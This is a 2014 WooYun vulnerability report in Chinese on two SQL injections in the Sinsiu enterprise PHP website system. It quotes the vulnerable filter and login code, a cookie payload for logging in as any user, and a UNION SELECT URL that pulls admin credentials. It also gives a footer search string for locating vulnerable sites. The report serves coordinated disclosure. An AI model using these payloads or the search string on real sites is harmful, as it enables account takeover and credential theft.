当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070230

漏洞标题:某通用型企业建站系统2处 sql注入

相关厂商:新秀企业网站系统PHP版

漏洞作者: roker

提交时间:2014-07-30 14:52

修复时间:2014-10-28 14:54

公开时间:2014-10-28 14:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-30: 细节已通知厂商并且等待厂商处理中
2014-08-04: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向第三方安全合作伙伴开放
2014-09-28: 细节向核心白帽子及相关领域专家公开
2014-10-08: 细节向普通白帽子公开
2014-10-18: 细节向实习白帽子公开
2014-10-28: 细节向公众公开

简要描述:

rt

详细说明:

新秀企业网站系统PHP版是一款简洁易用、方便二次开发的PHP企业网站系统。系统安装时有Mysql和Access两种数据库可供选择;后台功能齐全,操作简便,可扩展性良好,具有较高安全性;前台可设置成同时显示多国语言,适合用于外贸企业建站;系统采用了目前业界著名的PHP模板引擎Smarty,熟悉Smarty的开发人员可以方便、快速地制作出sinsiu模板。
sql#1
/include/function.php

function strict($str)
{
if(S_MAGIC_QUOTES_GPC)
{
$str = stripslashes($str); gpc的话就去掉转义符(故意给我们注入的么。。。)
}
$str = str_replace('<','&#60;',$str);
$str = str_replace('>','&#62;',$str);
$str = str_replace('?','&#63;',$str);
$str = str_replace('%','&#37;',$str);
$str = str_replace(chr(39),'&#39;',$str);
$str = str_replace(chr(34),'&#34;',$str);
$str = str_replace(chr(13).chr(10),'<br />',$str);
return $str; /过滤一些字符,可以看到单引号没了
}


前台提交参数的地方都 urlencode后带入数据库了 (有一处我们后面再讲、),利用这个点,能注入的地方只找到一处。
同一文件

function check_user_login()
{
global $user_id;
$username = get_cookie('user_username');
$password = get_cookie('user_password');
if($username != '' && $password != '')
{
$obj = new users();
$obj->set_field('use_id');
$obj->set_where("use_username = '$username'");
$obj->set_where("use_password = '$password'");
$one = $obj->get_one();
if(count($one) !== 0)
{
$user_id = $one['use_id'];
return intval($user_id);
}else{
return 0;
}
}else{
return 0;
}
}


我们修改cookie

user_username = aa\  ;user_password=or use_id = 1 %23


看sql日志 ,执行的语句为

11.jpg


可伪造任意用户登入,没有报错 ,所以 亦可盲注、
sql#2 (伪静态注入)
/index/search.php

set_smarty();
load_lang_pack(array($global['channel']));
initial('index');
if(isset($global['key']))
{
$smarty->assign('page_title',rawurldecode($global['key']));
}
$smarty->display('search.php');


这里,我们的数据url编码后 又进行了解码。导致单引号的代入,
官网下的默认数据库结构的话 exp为

?/search/index.html/key-%%27%20union%20select%20adm_username,adm_password,3%20from%20php_admin%23/


11.jpg


关键字

Powered by sinsiu 粤ICP备12345678号


存在 ?/search/ 页面即可注入(他有两个版本,asp版没找到注入)

11.jpg


实测大部分数据结构做了变更,建议测试用sqlmap。
提供5个实例用以证明其通用性

1.jpg

2.jpg


3.jpg


4.jpg

5.jpg

漏洞证明:

如上所述

修复方案:

过滤

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-04 10:34

厂商回复:

CNVD确认并复现所述情况,暂未建立与软件生厂商联系渠道,待认领。

最新状态:

暂无